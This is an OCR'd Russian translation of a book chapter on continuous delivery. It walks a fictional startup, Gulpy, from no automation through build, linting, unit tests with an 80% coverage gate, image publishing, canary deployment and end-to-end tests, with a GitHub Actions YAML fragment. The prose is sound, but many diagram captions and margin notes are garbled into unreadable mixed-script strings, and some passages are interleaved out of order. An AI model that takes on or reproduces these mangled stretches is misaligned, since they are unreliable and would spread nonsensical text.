в коW1орой ЭWla сложная 
логика уже реалюована. 

В разверW1t71ванци нуждаюW\СЯ 
W\OЛ/:JKO VlpoдyKWl/:JI, КОW1орые 
в/:71 VlредосW1авляеW1е млtJзова -
Wlелям Vlt/WleM размещенця 
и заl'lуска. Пайl'lлайнtJ1 для 
другцх VlpoдyкWloв, наl'lример 
для бцблцоWlеК, не будуWI 
включаW\/:J задачц разверWIЫ -
ваниЯ, НО вам,  вероЯWIНО, все 
равно мнадобиWIСЯ Vlаймайн 
для сборкц и Vlублцкацци 
VlpoдyкW108. 
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П рототип  пайплай на C I  
Пайплайн C I  должен содержать задачи шлюзования. Но как было показано в главе 7, 
очень важно также включить в него задачи (или в идеале даже пайплайны) сборки 
и развертывания, чтобы убедиться, что тестируемый объект максимально прибли
жен к версии для продакшен. Поэтому этот пайплайн, скорее всего, будет содержать 
задачи преобразования и будет выглядеть примерно так: 

Сначала 61:>1V\олняuW1е сам1:>1е 
01:>1cW1p1:>1e задачи и CW1apauW1ec1:> 
V\ро6али6аW11:> W1eCW11:>1 как можно � ранt>ше (см. гла61:>1 f. ц 1.3). �:=:::;:�б:�;У -гл l ( выполнение / 

жении ошиоок интинг юнит-тестов 
(с покрытием) � ЛиНWlиНга; для ". 

ЭW\Ого можеWI � � {l 
мнадооиW11:>ся ---------
несколt>ко задач { Выполнение 

Должн1:>1 V\ро6али -
6аW11:>ся, если V\OKp1:>1 -
W1иe IOHиWI -WleCWlaMи 
уменt>шиWIСЯ; для 
ЭW\Ого можеWI V\ОНадо -

(см. главу 4). интеграционных 
тестов 

� п оиW11:>ся несколt>ко 

/ L Сборка J -

�

----

задач (см. гла6у f>). 

- - Сигнал oyдeWI оолее 

r надежн1:>1м, если для 
э д n Настройка среды каждого 61:>1млнения WIO Wle же за ачи <..? для SUT 
(и, Возможно, даже V\auмauнa усW1ана6-
WIOWI же сам1:>1u 
V\aUV\Лauн, см. 
гла6у 1.3), KOWIO -

Публикация 

p1:>1e иСV\ОЛt>ЗуЮWIСЯ � 
6 V\auмauнe � 
61:>1V\уска релиза. '---.. 

Ск6озн1:>1е WleCWll:>/ oyдyWI 
61:>1млняW11:>ся на но6оu 
SИТ с исмл1:>зо6анием 
неда6но созданн1:>1х, ,.....---. 
ОV\уолико6анн1:>1х 
и раз6ернуW11:>1Х арW1е 
факW106. 

1 '""''"""" 
Выполнение 

сквозных тестов 

ли6аW11:> но6ую среду '-._ 6 качесW16е W1ecW1и -
руемоu сисW1ем1:>1 
(SUT, systeWI uV\der 
test) , а не исмл1:>зо -
6аW11:> м6W1орно уже 
сущесW16ующ,ую. 

� 
Задача раз6ер 
W11:>16ания oyдeWI 
6t>IV\OЛHЯWll:>CЯ 
6 среде SИТ. 

В гла6е 7 V\рu6еден V\рцмер paOOWll:>/ 
ЭW\Ого V\pOWIOW\иV\a V\aUV\Лauнa HeV\pe 
pt>16нou инW1еграции для cauWla 
CoiV1.ExCoW1pare. 
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Па йплайны и их инициализация 
Разобраться с тем, что включить в пайплайн Cl, - только полбеды; его еще нужно 
вовремя запустить. В главе 7 мы рассматривали, в каких точках жизненного цикла 
изменений необходимо запускать части пайплайнов Cl, чтобы предотвращать по
явление багов. Если к схеме пайплайна CI добавить информацию об инициализации, 
то полная картина пайплайнов CD будет выглядеть примерно так: 

3аt'\ускаеW1сЯ 
t'\ри OWIKp/JtWlии 

или обновлении PR 

3at'\ycкaeWICЯ 
через очередtJ 

слияния 
(см. главу 7) 
� � {]. 

3аt'\ускаеW1ся 
t'\ериодически 

( WIO ecWltJ через 
заt'\ланированное 

собымие) 

г Л'"m:_ 1 
...--

В
-
ы
-
по

-
л
-
не

_
н
_
и
_
е 

-

U 

юнит-тестов 

L 

Выполнение 
интеграционных 

тестов 

� n 
Сборка J -�-----

Публикация 

f Настройка среды 
для SUT 

) '"""'" "'"' 

Выполнение 
сквозных тестов 

nаймайн CI 

3at'\yCKtleWICЯ t'\ОСЛе yct'\tlМHOZO 
завершения слияния t'\ри 

исмлtJзовании нet'\peptJ1внozo 
V\OOXOOa; в t'\рОWlивноМ случае 

Заt'\ускаеWIСЯ t'\O coбtJtWlиIO' 
наt'\ример t'\ри добавлении  меzа 

к но8ой версии или через 
Заt'\ланированное coбtJ1W1иe. 

L Сборкаj 
� 

Публикация 

Разве ртывание 

Это то, к чему вы должны стремиться, но способ, которым вы к этому придете (и во
обще, нужны ли вам все этапы? Вспомните из главы l, что CD - это всего лишь 
методика), будет зависеть от проекта, над которым вы работаете. 
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� Что деnать, есnи у меня не сервис? 

Примеры пайплайнов в этой главе приведены для ПО, которое предостав
ляется в виде сервиса и поэтому должно быть где-то развернуто. В главе 1 
мы изучили, какие программные продукты можно поставлять (библиотеки, 
двоичные файлы, конфигурации, образы и сервисы) .  

Самое большое отличие между пайплайнами, которые запускаются для ПО, 
предоставляемого как сервис, и ПО, которое таковым не является (например, 
для библиотек и двоичных файлов), заключается в задаче развертывания. 
Большинство задач CI универсальны: линтинг и различные виды тестирования 
можно применять ко всем программным продуктам, даже к конфигурации. 

Если вы поставляете инструменты и библиотеки, вы можете не включать 
задачу развертывания ни в пайплайн С!, ни в пайплайн выпуска: 

Выполнение 
юнит-тестов 

Дл$! нeKOWIOptJtX 
.... родукW1ов 

можеWI не бtJtWltJ 
даже сборки 

Выполнение 

и .... убликации ,  L J а сквознtJ1е Сборка 
W\UW\fJI MOZ!:JWI _ 

вообще � не мнадобuW1tJся. г 
Публикация 

Настройка среды 
для SUT 

!! 
Задача разверwФ1вания � ,;;.:.------
не W1ребуеW1СЯ; все, ЧW\О Выполнение 

нужно для сквознtJtХ сквозных тестов 
WIUW\Oв, - ЭW\О coбpaWlfJ _____ ,,, 

u 011\!:JблuкoвaWltJ 
.... роzрамму. Паймайн CI 

Задача развер 
W1tJ1вания 

не W1ребуеW1СЯ; 
для вfJll!\!:JCKa 

11\pOд!:JKWla необхо -
дима W\OЛfJKO 
.... убликация. 

Если ваш продукт предназначен для использования как сервис (но вы не 
предоставляете под него хостинг) ,  пайплайн CI все равно должен включать 
задачу развертывания (поскольку развертывание необходимо для полного 
тестирования) ,  а пайплайн выпуска - нет. Что представляет собой доставка 
для каждого вида продуктов, то есть какие элементы нужно включать в пай
плайн, а какие нет, смотрите в таблице главы 1 (с. 4 1 ) .  
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П роект с нуля:  переходим к CD 
Освежив в памяти основные концепции пайплайнов CD, рассмотрим, как они ра
ботают в проектах, находящихся на различных этапах жизненного цикла: новых 
и унаследованных проектах. Для разработки пайплайнов CD и автоматизации про
цессов работа с нуля - идеальный сценарий. 

Когда код небольшой, легко принимать масштабные решения, которые будут 
применяться везде (например, вводить новые правила линтинга) . И чем раньше вы 
наладите автоматизацию соблюдения политик (например, минимальное покрытие 
юнит-тестами - 80 %), тем больше шансов, что эти требования будут соблюдаться 
в проекте по мере его роста. 

В проектах с нуля можно вносить совсем небольшие коррективы в процесс ра
боты, которые принесут огромную пользу в будущем, когда проект будет считаться 
унаследованным, - что неизбежно. 

Мы рассмотрим принцип, который одинаково применим ко всем проектам, но 
сначала разберемся, что он означает, если начинать с чистого листа: 

Получать как можно больше сигналов как можно быстрее. 

Когда мы начинаем работу без автоматизации, нам нужно выяснить, какие элементы 
пайплайна CD дадут самый полезный сигнал быстрее всего, и отталкиваться от них. 

В главе 5 мы уже говорили о сигнале и шуме в связи с тестами, а в главе 7 под
робно обсудили, в каких местах пайплайна требуются сигналы о появлении 
багов. По мере улучшения (или создания с нуля) пайплайны CD приносят 
максимальную отдачу, если стараться увеличить количество получаемых от 
них сигналов, то есть информации, которая нам нужна, чтобы поддерживать 
код в состоянии, пригодном для релиза, и осуществлять релизы по мере не
обходимости. 

Книги для программистов: https://t.me/booksforits



304 Глава 1 1 .  Стартовые наборы : с нуля до CD 

П роект Gu lpy 
Я начну с рассмотрения стартап-проекта greenfield под названием Gulpy. Проект 
предназначен для аквариумистов и призван упростить онлайн-заказ корма и разных 
принадлежностей. 

Проекту Gulpy всего несколько месяцев, поэтому в нем совсем немного кода и раз
работчики еще не создали пайплайны CD или автоматизацию. Его архитектура 
довольно проста, всего один сервис и одна база данных: 

�ce
_
p
_
ви
-
c G
_
u
_
lpy

--�
-��? � 

На текущий момент создан только код главной страницы, он позволяет пользователю 
завести аккаунт и ничего больше (пока! ) и находится только в одном репозитории. 

Репозиторий 
проекта Gu lpy 

Стоит ли команде Gи/ру сразу создавать более сложную архитектуру? 

В главе 3 Сара и Саша разработали более сложную архитектуру для своего 
стартапа, прежде чем начать писать какой-либо код. Подход Сары и Саши, как 
и подход Gulpy (который ориентирован на то, чтобы что-то заработало быстро) ,  
верен; их подход, вероятно, несколько более перспективен. Но главное, оценить 
сроки и цели проекта и принять решение, подходящее именно вам. 
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П роект g reenfield : с нуля до CD 
Определяя, какие средства автоматизации C D  следует добавить в проект, неважно, 
новый он или унаследованный, руководствуйтесь одной целью: 

Получать как можно больwе сигналов как можно быстрее. 

Концепция соотношения сигнал - шум, в частности максимизация сигнала и ми
нимизация шума, применима к CI в целом: 

Непрерывная интеграция - это процесс, при котором объединение 
изменений кода происходит постоянно и каждое изменение проверяется 
при внесении. 

Часть CI, относящаяся к проверке, - это сигнал, который вы ищете: сигнал о том, 
что код пригоден для релиза и что любые изменения не повлияют на это состояние. 
Поставленная цель предполагает, что при выборе CD для проекта сначала лучше 
сосредоточиться на улучшении CI. Это логично, поскольку прежде чем вьтускать 
релизы быстрее и чаще, необходимо убедиться, что это безопасно! 

Для greenfield-пpoeктa можно реализовать автоматизацию пайплайна CD путем 
постепенного добавления задач CD в следующем порядке: 

1 .  Создайте начальную автоматизацию и добавьте задачу, чтобы убедиться, что код 
пригоден к сборке. 

2. Обеспечьте высокое качество кода, добавив линтинг как можно раньше. 
3 .  Исправьте все ошибки линтинга, чтобы код стал идеально чистым. 
4. Начните проверять функциональность (и писать более чистый код) с помощью 

юнит-тестов. 

5 .  Измерьте покрытие тестов, чтобы сразу же понять, что отсутствует в юнит
тестах. 

6. Добавьте тесты, которых не хватает для достижения целей покрытия. 
7. После настройки начальной CI приступайте к созданию пайплайна выпуска 

релизов, добавив логику для публикации создаваемого кода. 
8. Добавьте в пайплайн выпуска релизов автоматизацию развертывания. 

9. Когда большинство базовых элементов готово, можно добавлять интеграцион
ные и сквозные тесты. 

Вы можете полностью изменить порядок шагов. Просто помните, что глав
ное - получать как можно больше сигналов как можно быстрее. Именно 
поэтому этапы, требующие больше времени (например, настройка сквозного 
тестирования) ,  оставлены на потом; если вы займетесь ими сразу, то сигнал 
вы получите не скоро. 
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Первый ша г: выпол няется л и  сборка? 
Первым делом необходимо проверить, что код можно собрать в том виде, в каком он 
должен использоваться .  Если код нельзя собрать, скорее всего, с ним не получится 
проделать и другие операции: тестирование, линтинг и, конечно же, релиз. 

Сигнал пайплайна CI о возможности сборки сразу же позволит выполнять даль
нейшие действия по реализации пайплайна CD, вот почему именно с этого стоит 
начать работу с совершенно новым кодом: 

1. Создайте начальную автоматизацию и добавьте задачу, проверяющую, что код 
пригоден к сборке. 

Код проекта Gulpy написан на Pythoп, и разработчики запускают свой сервис в кон
тейнере Docker, поэтому самая первая задача, которую они будут использовать 
(и начало их пайплайна CI), - это задача, выполняющая сборку образа контейнера. 

Сборка 
образа Gulpy 

Однозадачнь1u Уtаuи.лаuн Ци f  ру мка 
не Уtредс1Ма6ляе1М особого ин1Мереса,  

но он будеlМ разби6а1Мься1 

Начавшись так скромно, проект Gulpy прошел путь от полного отсутствия автома
тизации CD до первого пайплайна CD! 

Автоматизация сборки - это уже достижение! 

Как уже говорилось в главе 1 ,  самые ранние системы CD выполняли одну про
стую задачу: создание программ. Остальная автоматизация (тестирование, 
линтинг, развертывание и т. д. ) появилась позже. Именно поэтому системы 
CD часто называют системами сборки, а задачи в пайплайнах CD по-прежнему 
принято называть сборками (или билдами) .  Так что не стоит недооценивать на
личие автоматизации, которая будет производить сборку за вас, ведь раньше 
это было огромным достижением! 
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Выбор системы CD 
Подобно тому как начинать проект с исходной точки 
(то есть с минимально жизнеспособного продукта, или 
MVP), которая определит все дальнейшие действия, -
это отличный способ заложить основу для добавления 

Выбор системы CD 307 

Перечень функций 
распространенных 
систем CD см. в при-
ложении А. 

будущих функций, так и установление простой начальной цели для пайплайна CD, 
например осуществления сборки, станет основой для вашего продукта и одновре
менно позволит начать работу над автоматизацией. 

В проекте Gulpy уже существует исходный (однозадачный) пайплайн, но он не 
принесет компании никакой пользы, если не будет запущен и не начнет работать. 
Однако прежде чем что-либо настраивать, разработчики должны выбрать систему 
CD. Чтобы сузить круг поиска, необходимо ответить на два важных вопроса. Вот 
первый из них: 

• Вы собираетесь использовать существующую систему CD или создавать соб-
ственную? 

Скорее всего, вы захотите использовать существующую систему, чтобы сэкономить 
на стоимости (и сложности) создания и поддержки собственной. Если же у вас есть 
особые требования к способу сборки, тестирования и развертывания кода, которые 
не поддерживаются существующими системами CD, то скорее всего, вам не избежать 
создания собственной системы. (К счастью, это маловероятно на столь раннем этапе 
проекта, если только вы не работаете в сфере, где существуют особые нормативные 
требования, о которых вы уже знаете . )  Исходя из того, что вы выбрали вариант 
с существующей системой, возникает второй вопрос: 

• Если вы используете существующую систему, вы собираетесь размещать ее на 
стороннем ресурсе или на своем? 

Лучше всего (особенно на начальном этапе) выбрать первый вариант. Это позволит 
легко начать работу и не потребует оплаты услуг специалистов по настройке и об
служиванию системы. 

Для многих проектов исходный код будет закрытым. Чтобы использовать суще
ствующую систему CD для работы с закрытым кодом, необходимо либо настроить 
безопасный доступ к системе, либо разместить на хостинге свой собственный эк
земпляр системы. 

Собственную систему CD не обязательно создавать с нуля. В приложениях вы 
найдете системы CD, существующие в виде платформ и строительных блоков, 
которые можно использовать для создания собственных систем. По мере мас
штабирования проекта может оказаться удобнее поддерживать собственную 
систему CD, чтобы легко накладывать ограничения на проекты и создавать 
именно ту автоматизацию, которая подходит для вашего бизнеса и клиентов. 
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Настрой ка начальной а втоматизации 
Команда Gulpy настраивает начальный пайплайн CD, который создает образ кон
тейнера Gulpy и запускается тремя событиями (подробнее об этих событиях и их 
важности читайте в главе 7) :  

• при открытии или обновлении PR; 
• когда PR готов к слиянию и контролируется очередью слияния; 
• периодически, каждый час. 

3аl'\ускаеw.ся 1'\ри 
ow.кpt:>iw.ии или 
обно6лении PR 

3аl'\ускаеw.ся 
через очередt:> 

слияния 

� <} {1 
Сборка 

образа Gulpy 

Заl'\ускаеw.ся 
1'\ериодически 

Разработчики Gulpy хотят сохранить исходный код закрытым, но им не требуется 
создавать свою систему CD. Они уже используют приватные (частные) репозитории 
на GitHub, поэтому они решили воспользоваться GitHub Actioпs для автоматизации. 

Чтобы создать свой (однозадачный) пайплайн в GitHub Actions и настроить 
триггеры, им нужно лишь создать файл рабочего процесса (ci.yaml) и закоммитить 
его в своем репозитории в каталоге .githuЬ/workflows: 

name : Gulpy Continuous  Integration 
оп : 

�� Указt:>16аем ЦitНиЬ Actiol'\S срабамы6амt:> 
pull  request : � б в 

push : 
- nри о но лении PR. 

branches : Указt:>16аем ЦitНиЬ Actiol'\S, чмо oчe -
-gh - readonly - queue/ma i n / * *  редt:> слияния должна заnускамt:> эмом 

s chedule : � рабочий 1'\роцесс мред слиянием. 
-cron : ' 0  * * * * ' � Указt:>tбаем ЦitНиЬ Actions срабамt:>tбамt:> каждt:>tй час. 

jobs : 
build : Рабочий nроцесс ( заnущеннt:>1й мремя nредt:>tдущими собt:>1мия -

ми) имеем одно задание мд названием «сборка». подробносми 
здесt:> onyщeнt:>t, но он можем бt:>tмt:> Оl'\исан здесt:> или содержамt:> 
ссt:>tлку на задачу ЦitНиЬ, оnределенную 8 другом месме. 

Пайплайн CD запущен и работает ! Еще многое предстоит добавить, но теперь 
команда сразу же получит сигнал, если в репозиторий будет внесено изменение, де
лающее код непригодным к релизу (посредством триггеров PR и очереди слияния), 
или (с помощью периодических тестов) если в процесс сборки закралась неопреде
ленность, в результате чего сборка завершилась сбоем (см. главу 9) .  
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Состояние кода: линтинг 
Настроив автоматизацию и проверив, что код можно собрать, можно переходить 
к самому коду. На такой ранней стадии проекта большая часть кода еще не написана, 
поэтому сейчас самое время привести его в порядок и обеспечить условия для под
держания высоких стандартов на всем жизненном цикле проекта. 

В главе 4 вы убедились, насколько полезным может быть линтинг: он не только 
сохраняет код чистым и последовательным, но и выявляет серьезные баги. Вы 
также заметили,  что проводить линтинг унаследованного кода может быть слож
но и что на данном этапе достичь идеала вряд ли получится, а идеал заключается 
в следующем: 

При анаnизе кода nинтер не выдает сообщения об оwибках. 

Однако при работе с новым кодом это вполне реально. И если вы с самого начала 
настроите автоматизацию так, чтобы она поддерживала это состояние, вы легко 
его сохраните. 

Чем позже вы добавляете линтинг, тем сложнее обеспечить его регулярное при
менение, поэтому для нового проекта это отличная возможность повысить качество 
кода. Вот почему при настройке пайплайнов CD для проектов с нуля второй шаг 
должен быть таким: 

2 .  Обеспечьте высокое качество кода, добавив линтинг как можно раньше. 

Команда Gulpy добавляет автоматизацию линтинга в свой пайплайн: 

Заr.ускаеWIСЯ 
r.p1A OW\Kpt>IW\IAIA 

IAЛIA обно6лен1А1А PR 

Заr.ускаеW1ся 
через очередt> 

СЛIАЯНIАЯ 

� � {] 
Заr.ускаеWIСЯ 
r.ерцод1АЧеtКIА 

На данныlА моменWI обе 
задачц бt>IV\ОЛНЯЮW\СЯ 

однобременно, мэW10Му 

в Сборка 
образа Gulpy 

r.alAмalAн будеWI 61>1да6аW11> 
С1Агнал1>1 о r.poxoждeHIAIA! 
неr.рохожденцц для обецх 
задач ( мдробнее о r.роек -

W11Аро6анцц графа 
r.alAмalAнa см. в главе :1.3). 

Как только разработчики начинают выполнять задачу линтинга, она выявляет в их 
коде ряд нарушений. Они решают исправить их немедленно, поэтому для начала на
страивают пайплайн так, чтобы задача линтинга не запускалась, пока они устраняют 
проблемы, делая третий инкрементный шаг для создания пайплайна CD: 

3 .  Исправьте все ошибки линтинга, чтобы код стал идеально чистым. 

jobs : 
lint : 

cont inue - o n - error : true  
build : '-

rтредоW>.бращо.еW>. сбой бсеzо рабочего V\роцес -
са V\ри неб111млнении эW>.ou задачи. rтрtАбедя код 
в мрядок, ро.зро.боW>.ЧиКIА СМОЩW\ удо.ЛIАW\11 ЭW>.У 
ОV\ЦиЮ, ЧW>.об111 будущие tАЗМененtАЯ блокиробалис11 
до W>.eX мр, V\OKO. OHIA не CW>.O.HYW>. сооW>.бемсW>.бо 
бо.W>.11 W>.ребобо.нцям ЛIАНW>.инzа. 
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Состояние кода: юнит-тесты 
Теперь у проекта Gulpy есть пайплайн,  который 
проверяет возможность осуществления сборки 
кода, а также требования линтинга для поддержа
ния согласованности кода (и выявления типичных 
багов) .  Далее следует обеспечить проверку самой 
функциональности, то есть бизнес-логики (и всего 
кода, поддерживающего ее), которая на самом деле 
является ядром любого программного проекта. 
Функциональность программного продукта про
веряется с помощью тестов, а самыми быстрыми 
с точки зрения создания (и выполнения) являются 
юнит-тесты. 

На ранней стадии проекта уже могут быть 
какие-то юнит-тесты, но даже если их нет, полезно 
на будущее добавить автоматизацию их выпол
нения (что мы и сделаем далее) .  Автоматизация 
позволит получать обратную связь сразу же после 
добавления тестов: 

�Словарик 
Бизнес-логика - это глав
ная причина, по которой 
мы вообще пишем про
граммы! Именно правила, 
которые мы воплощаем 
в коде, делают наши 
библиотеки и сервисы 
действительно значи
мыми. Продукт остается 
востребованным у поль
зователей, поскольку для 
них важна заключенная 
в нем логика, и если мы 
создаем его ради получе
ния прибыли, именно эта 
логика обеспечивает его 
коммерческую ценность. 

4. Начните проверять функциональность (и писать более чистый код) с помощью 
юнит-тестов. / 

ЧW1об1:11 V\UCaW11:> эффекW1иВн1:11е юнuW1-W1eCW1Ы, код должен 01:>1W11:> сW1рукW1урироВан 
WlaK, ЧW1ОО1:>1 его можно б1:11ло W1ecW1upoBaW11:>, а ЭWIO об1:11чно означаеWI сил1:1ную сВяз -
носW11:> (high cohesiol"<), слабую сВязанносw11:> (/oose coupli .... g) и .... рочие млезнь1е сВойсW1Ва. 
без юниW1 -W1есW10В .... роще не обращаW11:> Внимания на cW1pyкW1ypy кода, и добаВляWlь 
юниWI -WleCWIЫ сW1аноВиW1ся Все W1руднее и W1руднее. 
В проекте Gulpy еще нет юнит-тестов, поэтому задача их запуска, которую добавляют 
разработчики, сразу же проходит (тесты не найдены = тесты не провалены) .  Теперь 
их пайплайн CD выглядит следующим образом: 

за .... ускаемся 
v.ри омкрымии 

или обновлении PR 

3t1V'<,':iCKaeW1CЯ через 
очередь слияния 

t � {l г J r сбор" 
Линтинг l 

__ oб-pa-зa_G_u lp-y,..,,, 

за .... ускаемся 
.... ериодически 

Выполнение 
юнит-тестов --------·-- ----- -------------·------- ·---� 

Интеграционные и сквозные тесты также чрезвычайно полезны, но мы не будем 
добавлять их сразу, потому что их разработка и выполнение требуют больше 
времени. Не говоря уже о том, что чем раньше вы внедрите юнит-тесты, тем 
легче будет обеспечить высокое покрытие и поддерживать его. Помните: боль
шинство тестов должны быть модульными ! 
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Состоя ние кода: покрытие 
После автоматизации запуска юнит-тестов (она 
будет активироваться при их добавлении) целесо
образно добавить измерение покрытия кода те
стами, которое на данный момент составляет О %! 
Отсутствие тестов означает отсутствие покрытия .  
Поскольку проект новый и кода для покрытия не так 
много, самое время сосредоточиться на достижении 
желаемого уровня покрытия. Тогда в дальнейшем 
вам останется только поддерживать этот уровень! 
Поэтому следующий шаг для Gulpy будет таким: 

Установка любого произ
вольного порога означает, 
что время от времени вы 
будете писать бесполез
ные тесты, например, если 
вам требуется покрытие 
80 %, а у вас только 79,5 %. 
Но простота необходи
мой автоматизации стоит 
пары лишних тестов. 

5. Измерьте покрытие тестов, чтобы сразу же понять, что отсутствует в юнит-тестах. 

В главе 6, когда Шридхар добавил измерение покрытия для сайта Dog Picture Website, 
ему пришлось создать логику для отслеживания уровня покрытия, чтобы этот 
уровень не снижался. Это эффективный способ постепенно наращивать покрытие 
в старом проекте, но в совершенно новых проектах, в которых практически нет кода, 
можно определить произвольный порог и сразу же написать тесты, необходимые для 
достижения этого порога. Разработчики обновляют задачу юнит-тестирования, что
бы в ней также измерялось покрытие и выдавалась ошибка, если оно меньше 80 %: 

ЗаV1.ускае�мся Заvщскае�мся 
через очередь V1.ри о�мкры�мии 

или ооноблении PR � сл7i:ия {) 
Выполнение 
юнит-тестов 

(с покрытием) 

ЗаV1.ускае�мся 
V1.ериодически 

Сборка 
образа Gulpy 

Задача, конечно же, сразу проваливается и блокирует внесение любых новых изме
нений. Затем разработчики Gulpy добавляют юнит-тесты, пока не достигнут своей 
цели покрытия в 80 %: 

6.  Добавьте тесты, которых не хватает для достижения целей покрытия. 

Они временно снимают требование покрытия 80 %, пока добавляют тесты. В против
ном случае им пришлось бы создать один большой PR со всеми тестами и включить 
его обратно в главную ветку, как только все тесты будут готовы. - ·  - -- ·--- · ---- ------1/ Что считать достаточным порогом покрытия ? 

Достаточный порог покрытия зависит от свойств кода. Начните с покрытия 

1 80 о/о или около того и посмотрите, как пойдет. Это достаточно мягкое уело-

1 

1 
вие, допускающее, что какие-то строки кода останутся непокрытыми, если их 
тесты не слишком важны, и достаточно жесткое, чтобы обеспечить покрытие 
большинства строк. В дальнейшем откорректируйте это значение в большую 

\_ или меньшую сторону. 
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Что дальше: публ и ка ция 
Теперь у проекта Gulpy есть пайплайн с базовыми элементами Cl ,  которые гаран
тируют, что код работает (то есть пригоден для выпуска) и что компания соблюда
ет поставленные цели для линтинга и покрытия юнит-тестами. Этого достаточно, 
чтобы разработчики были уверены в достижении исходной цели непрерывной 
интеграции :  

Непрерывная интеrрация - это процесс, при котором объединение 
изменений кода происходит постоянно и каждое изменение проверяется 
при внесении. 

Чувствуя себя достаточно уверенными (пока ! )  в своей CI,  они могут перейти 
к остальной части пайплайна CD, начав работать с образом контейнера, который 
они уже создали :  

7. После настройки начальной CI приступайте к созданию пайплайна выпуска 
релизов, добавив логику для публикации создаваемого кода. 

Поскольку разработчики не ограничены в выборе ме
тодики развертывания, они решают сразу же восполь
зоваться непрерывным развертыванием. Они создают 
отдельный пайплайн, который использует ту же задачу 
сборки, что и пайплайн CI, и запускается при успеш
ном слиянии с главной веткой (в главе 13 вы узнаете 
больше о компромиссах, связанных с использованием 
нескольких пайплайнов) :  

В некоторых инстру-
ментах для создания 
артефактов сборка 
и выгрузка объедине-
ны в одну команду. 1 

""""""'""""""""""'"""""""""""'"""�wf 

Заl'\ускаеW\СЯ l'\ptA CЛIAЯHIAIA 
с zла6ной 6еW\кой 

ЭW\а задача будеW\ 
Hal'\tACaнa W\aKtAM о бра -

зом, ЧW\об", можно было 
менЯW\1' конфtАzурацию 
месW\а, куда она заzру -

жаеW\ образ. ЭW\о 
1'\ОЗ6ОЛIАW\ IACl'\OЛ1'З06aW\1' 
ее 6 друzих сценариях. 

Сборка 
образа Gulpy 

Задаче, КОW\орая 1'\ублtАкуеW\ образ 
Ци lру 6 peecW\pe образов, МW\ре -

буеW\СЯ дOCW\YI'\ к ,учеW\Н1'1М 
данн1'1М, KOW\Op1'1e разрешаW\ ей 
61'11'\0ЛHIAW\o заzрузк,у. УчеW\но1е 
данн1'1е W\акже МW\реб,уюW\СЯ, 

'---+ Публикация 
образа в реестре 

коzда мо1 будем доба6ляW\о 
раз6ерW\1'16ан1Ае. К.ороW\ко 

/ о рабоW\е с ceкpeW\H1'1MtA 
.---- данными см. 6 zла6е 3. 
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Следующим шагом для команды Gulpy является автоматизация развертывания. 
Разработчики уже провели несколько развертываний, но они делали их вручную, 
запуская скрипт, который обновляет экземпляры их сервиса, работающие в по
пулярном облаке RandomCloud. Итак, следующий шаг: 

8 .  Дополните пайплайн выпуска релизов автоматизацией развертывания. 

Наличие уже готового скрипта для выполнения части процесса развертывания 
может упростить его автоматизацию. Однако на таком раннем этапе жизненного 
цикла продукта проще проявлять гибкость в выборе решений для развертывания, 
и то, что вы начинаете работу с чистого листа, может не иметь большого значения, 
особенно если вы решите использовать существующий инструмент, который вы
полнит автоматизацию развертывания за вас (см. главу 10  о видах стратегий раз
вертывания, которые вам, возможно, стоит рассмотреть) .  

Разработчики Gulpy решили реализовывать канареечные развертывания. Они 
выбрали Deployaker, популярный инструмент для автоматизации стратегий раз
вертывания. Кроме того, они планируют использовать непрерывное развертывание, 
поэтому обновляют существующий пайплайн выпуска, добавив задачу, которая 
вызывает Deployaker для запуска канареечного развертывания: 

3аl'\ускае1'\1\СЯ 1'\ри слиянии 
С глабной бel'VIKOй 

Сборка 
образа Gulpy 

Публикация 
образа в реестре 

) Развертывание 
с использо�анием 

«канареики» 

В Эl'VIOй задаче не бyдel'VI содер 
Жаl'VIЬСЯ много логики; в оснобном 

бсю 1-'\1\ЯЖелую paбOl'Vl!:I бyдel'VI 
бымлНЯl'\l\Ь Deployaker. в зависимо -

Cl'Vlи ol'VI l'Vloгo, сколько бремени 
займеl'VI разберl'Vlыбание, эl'Vla 
задача MOЖel'VI заблокиробаl'VIЬ 

осl'Vlальные 1'\роцессы в ожидании 
сбоего забершениЯ или l'\pOCl'\l\O 

Зal'\!;ICl'Vlиl'Vlь 1'\роцесс и забершиl'Vlься. 
В случае ожидания усl'\ешного 

разберl'Vlыбания сигнал бyдel'VI более 
Чеl'Vlким, а если 1'\ри Эl'\l\OM разбер 

..,_-/ 1-'\1\Ыбание забершиl'VIСЯ ошибкой ,  
мoжel'VI иницииробаl'Vlься бозбраl'VI 

в коде. 

На этой ранней стадии проекта также уместно внедрить и опробовать непрерывное 
развертывание. С одной стороны, это создаст отличный задел для дальнейшего раз
вития проекта, не подвергая его особому риску, поскольку этап достаточно ранний, 
а с другой - даст возможность отложить принятие решения о том, подходит ли 
такое развертывание для проекта, на более поздний срок. 
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Расш и ряем тестирование 
Теперь у проекта Gulpy есть все необходимое: пайплайн CI, который проверяет сбор
ку, линтинг и юнит-тесты (с 80 %-ным покрытием) ,  и пайплайн выпуска, который 
использует непрерывные канареечные развертывания. Последний этап разработки 
этих пайплайнов - составление сценария тестирования. Вспомните пирамиду 
тестов из главы 6: 

Юнит-тесты 

болишинсW1бо W1ecW1oб должни1 
COCWlaбЛЯW\u IOHUWl -1'\!\eCWIUI, 
но инW1еzра�ионни1е и ск8озни1е 
W1ecW1u1 W10Же V\Олезни1 1 Сейчас 
б V\poeкWle Циlру ecWlu Wlолико 
IOHUW\ -W\UW\ul. 

Какими бы полезными ни были юнит-тесты, они все равно могут многое упустить 
и их нужно дополнять сквозными и/или интеграционными тестами, которые тести
руют отдельные блоки совместно: 

9.  Когда большинство базовых элементов готово, можно добавлять интеграцион
ные и сквозные тесты.  

Подготовку и запуск этих тестов лучше сделать последним этапом настройки ис
ходных пайплайнов CD по следующим причинам: 

• Подготовка и выполнение этих тестов - и настройка, необходимая для запуска 
сквозных тестов, - требуют гораздо больше времени. 

• Для запуска этих тестов можно повторно использовать часть или всю погику 
сборки, публикации и развертывания. 
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Задачи для и нтеграционных и сквозных тестов 
При разработке сквозных тестов инженеры Gulpy анализируют свой пайплайн выпу
ска и определяют, что можно применить повторно. Они должны использовать задачи 
сборки и публикации в неизменном виде, передавая им различные параметры имени 
создаваемого образа, чтобы указать, что он предназначен только для тестирования 
(например, gulpy - v0 .  2 . 3 - testing) .  

Для задачи развертывания им предстоит решить, использовать ли Deployaker для 
развертывания тестов. У этого инструмента есть одно преимущество - он предо
ставляет возможность протестировать конфигурацию развертывания. Но - и это 
большой недостаток - для использования Deployaker при тестировании требуется 
отдельный экземпляр, и разработчики не смогут просто использовать такую же 
логику при разработке. Поэтому они решают написать новую задачу для разверты
вания, которая напрямую запускает сервис, работающий как контейнер . 

...---..... -----: ЭW\и д6е задачи 
Публикация можно м6W\орно 

...---..... 

